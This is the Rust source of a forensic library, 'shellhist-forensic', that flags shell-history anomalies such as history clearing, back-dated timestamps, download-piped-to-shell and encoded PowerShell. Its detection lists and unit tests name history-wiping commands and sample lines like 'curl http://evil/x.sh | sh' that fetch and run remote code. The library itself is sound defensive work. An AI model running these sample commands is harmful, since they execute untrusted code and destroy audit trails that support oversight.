Skip to main content

shellhist_forensic/
lib.rs

1//! `shellhist-forensic` — graded anomaly auditor over shell command history.
2//!
3//! Consumes [`shellhist_core::HistoryEntry`] streams and emits
4//! [`forensicnomicon::report::Finding`]s. Every anomaly is an **observation**
5//! ("consistent with …"); the examiner draws the conclusions. MITRE techniques
6//! are narrated as consistency, never as a verdict.
7
8#![forbid(unsafe_code)]
9
10use forensicnomicon::report::{Category, Finding, Observation, Severity, Source};
11use shellhist_core::HistoryEntry;
12
13/// A graded shell-history anomaly.
14#[derive(Debug, Clone, PartialEq, Eq)]
15pub enum HistAnomaly {
16    /// A surviving command that disables or clears history (the clearing itself
17    /// was recorded). MITRE T1070.003.
18    HistoryDisabled { command: String },
19    /// A timestamped entry whose epoch precedes its predecessor's — non-monotonic
20    /// history, consistent with injected or back-dated entries.
21    TimestampRegression { at: i64, previous: i64 },
22    /// A download piped straight into a shell interpreter. MITRE T1059 / T1105.
23    RemoteExecPipe { command: String },
24    /// A PowerShell encoded/obfuscated command line. MITRE T1059.001 / T1027.
25    PwshEncodedCommand { command: String },
26}
27
28impl HistAnomaly {
29    /// The stable, published anomaly code (scheme-prefixed SCREAMING-KEBAB).
30    #[must_use]
31    pub fn code(&self) -> &'static str {
32        match self {
33            Self::HistoryDisabled { .. } => "SHELLHIST-HISTORY-DISABLED",
34            Self::TimestampRegression { .. } => "SHELLHIST-TIMESTAMP-REGRESSION",
35            Self::RemoteExecPipe { .. } => "SHELLHIST-REMOTE-EXEC-PIPE",
36            Self::PwshEncodedCommand { .. } => "SHELLHIST-PWSH-ENCODED-CMD",
37        }
38    }
39}
40
41impl Observation for HistAnomaly {
42    fn severity(&self) -> Option<Severity> {
43        Some(match self {
44            Self::HistoryDisabled { .. }
45            | Self::TimestampRegression { .. }
46            | Self::RemoteExecPipe { .. }
47            | Self::PwshEncodedCommand { .. } => Severity::Medium,
48        })
49    }
50
51    fn code(&self) -> &'static str {
52        HistAnomaly::code(self)
53    }
54
55    fn category(&self) -> Category {
56        match self {
57            Self::HistoryDisabled { .. } => Category::Concealment,
58            Self::TimestampRegression { .. } => Category::Integrity,
59            Self::RemoteExecPipe { .. } | Self::PwshEncodedCommand { .. } => Category::Threat,
60        }
61    }
62
63    fn note(&self) -> String {
64        match self {
65            Self::HistoryDisabled { command } => format!(
66                "the command {command:?} disables or clears shell history; consistent with \
67                 anti-forensic history tampering (MITRE T1070.003)"
68            ),
69            Self::TimestampRegression { at, previous } => format!(
70                "an entry timestamped {at} follows one timestamped {previous} (history went \
71                 backwards in time); consistent with injected or back-dated entries"
72            ),
73            Self::RemoteExecPipe { command } => format!(
74                "the command {command:?} downloads and pipes content directly into a shell; \
75                 consistent with remote payload execution (MITRE T1059 / T1105)"
76            ),
77            Self::PwshEncodedCommand { command } => format!(
78                "the command {command:?} uses an encoded or policy-bypassing PowerShell \
79                 invocation; consistent with obfuscated execution (MITRE T1059.001 / T1027)"
80            ),
81        }
82    }
83}
84
85/// The [`Source`] stamp for findings this analyzer emits.
86#[must_use]
87pub fn source(scope: impl Into<String>) -> Source {
88    Source {
89        analyzer: "shellhist-forensic".to_string(),
90        scope: scope.into(),
91        version: Some(env!("CARGO_PKG_VERSION").to_string()),
92    }
93}
94
95/// Audit a history-entry stream for anomalies.
96#[must_use]
97pub fn audit(entries: &[HistoryEntry]) -> Vec<HistAnomaly> {
98    let mut out = Vec::new();
99    let mut last_ts: Option<i64> = None;
100
101    for entry in entries {
102        let cmd = entry.command.as_str();
103        if is_history_disable(cmd) {
104            out.push(HistAnomaly::HistoryDisabled {
105                command: cmd.to_string(),
106            });
107        }
108        if is_remote_exec_pipe(cmd) {
109            out.push(HistAnomaly::RemoteExecPipe {
110                command: cmd.to_string(),
111            });
112        }
113        if is_pwsh_encoded(cmd) {
114            out.push(HistAnomaly::PwshEncodedCommand {
115                command: cmd.to_string(),
116            });
117        }
118        if let Some(ts) = entry.timestamp {
119            if let Some(prev) = last_ts {
120                if ts < prev {
121                    out.push(HistAnomaly::TimestampRegression {
122                        at: ts,
123                        previous: prev,
124                    });
125                }
126            }
127            last_ts = Some(ts);
128        }
129    }
130    out
131}
132
133/// Convenience: audit and convert directly to graded [`Finding`]s.
134#[must_use]
135pub fn audit_findings(entries: &[HistoryEntry], scope: impl Into<String>) -> Vec<Finding> {
136    let src = source(scope);
137    audit(entries)
138        .iter()
139        .map(|a| a.to_finding(src.clone()))
140        .collect()
141}
142
143fn is_history_disable(cmd: &str) -> bool {
144    let c = cmd.to_ascii_lowercase();
145    const NEEDLES: &[&str] = &[
146        "unset histfile",
147        "set +o history",
148        "history -c",
149        "histfile=/dev/null",
150        "clear-history",
151    ];
152    if NEEDLES.iter().any(|n| c.contains(n)) {
153        return true;
154    }
155    (c.contains("ln -sf /dev/null") || c.contains("ln -s /dev/null")) && c.contains("history")
156        || (c.contains("rm ") && c.contains("_history"))
157        || (c.contains("remove-item") && c.contains("consolehost_history"))
158}
159
160fn is_remote_exec_pipe(cmd: &str) -> bool {
161    let c = cmd.to_ascii_lowercase();
162    let downloads = c.contains("curl ") || c.contains("wget ");
163    let into_shell = c.contains("| sh")
164        || c.contains("|sh")
165        || c.contains("| bash")
166        || c.contains("|bash")
167        || c.contains("| zsh")
168        || c.contains("|zsh");
169    if downloads && into_shell {
170        return true;
171    }
172    // PowerShell one-liner downloaders.
173    (c.contains("downloadstring") || c.contains("downloadfile"))
174        && (c.contains("iex") || c.contains("invoke-expression"))
175        || ((c.contains("base64 -d") || c.contains("base64 --decode")) && into_shell)
176}
177
178fn is_pwsh_encoded(cmd: &str) -> bool {
179    let c = cmd.to_ascii_lowercase();
180    c.contains("-encodedcommand")
181        || c.contains("-enc ")
182        || c.ends_with("-enc")
183        || c.contains("executionpolicy bypass")
184        || (c.contains("frombase64string")
185            && (c.contains("iex") || c.contains("invoke-expression")))
186}
187
188#[cfg(test)]
189mod tests {
190    use super::*;
191    use shellhist_core::{HistoryEntry, Shell};
192
193    fn entry(cmd: &str, ts: Option<i64>) -> HistoryEntry {
194        HistoryEntry {
195            shell: Shell::Bash,
196            command: cmd.into(),
197            timestamp: ts,
198            elapsed: None,
199            paths: vec![],
200        }
201    }
202
203    fn codes(a: &[HistAnomaly]) -> Vec<&str> {
204        a.iter().map(HistAnomaly::code).collect()
205    }
206
207    #[test]
208    fn benign_history_fires_nothing() {
209        let h = [
210            entry("ls -la", Some(100)),
211            entry("cd /tmp", Some(101)),
212            entry("git status", Some(102)),
213        ];
214        assert!(audit(&h).is_empty());
215    }
216
217    #[test]
218    fn history_clearing_is_flagged() {
219        for cmd in [
220            "unset HISTFILE",
221            "set +o history",
222            "history -c",
223            "export HISTFILE=/dev/null",
224            "Clear-History",
225        ] {
226            let a = audit(&[entry(cmd, None)]);
227            assert!(
228                codes(&a).contains(&"SHELLHIST-HISTORY-DISABLED"),
229                "missed: {cmd}"
230            );
231        }
232    }
233
234    #[test]
235    fn timestamp_regression_is_flagged() {
236        let h = [entry("a", Some(200)), entry("b", Some(150))]; // went backwards
237        let a = audit(&h);
238        assert!(codes(&a).contains(&"SHELLHIST-TIMESTAMP-REGRESSION"));
239        // Monotonic history does not regress.
240        assert!(!codes(&audit(&[entry("a", Some(1)), entry("b", Some(2))]))
241            .contains(&"SHELLHIST-TIMESTAMP-REGRESSION"));
242    }
243
244    #[test]
245    fn download_pipe_to_shell_is_flagged() {
246        for cmd in [
247            "curl http://evil/x.sh | sh",
248            "wget -qO- http://evil | bash",
249            "curl http://x|sh",
250        ] {
251            assert!(
252                codes(&audit(&[entry(cmd, None)])).contains(&"SHELLHIST-REMOTE-EXEC-PIPE"),
253                "missed: {cmd}"
254            );
255        }
256        // A plain curl that saves to disk is not a pipe-to-shell.
257        assert!(!codes(&audit(&[entry("curl -o x.sh http://x", None)]))
258            .contains(&"SHELLHIST-REMOTE-EXEC-PIPE"));
259    }
260
261    #[test]
262    fn pwsh_encoded_command_is_flagged() {
263        for cmd in [
264            "powershell -EncodedCommand ZQBjAGgAbwA=",
265            "pwsh -enc ZQBj",
266            "powershell -ExecutionPolicy Bypass -File x.ps1",
267        ] {
268            assert!(
269                codes(&audit(&[entry(cmd, None)])).contains(&"SHELLHIST-PWSH-ENCODED-CMD"),
270                "missed: {cmd}"
271            );
272        }
273    }
274
275    #[test]
276    fn findings_are_hedged_observations_never_verdicts() {
277        let f = audit_findings(&[entry("curl http://x | sh", None)], "test");
278        assert_eq!(f.len(), 1);
279        let note = f[0].note.to_ascii_lowercase();
280        assert!(note.contains("consistent with"), "must hedge: {note}");
281        for forbidden in ["proves", "confirms", "definitely"] {
282            assert!(
283                !note.contains(forbidden),
284                "must not assert a verdict: {note}"
285            );
286        }
287    }
288}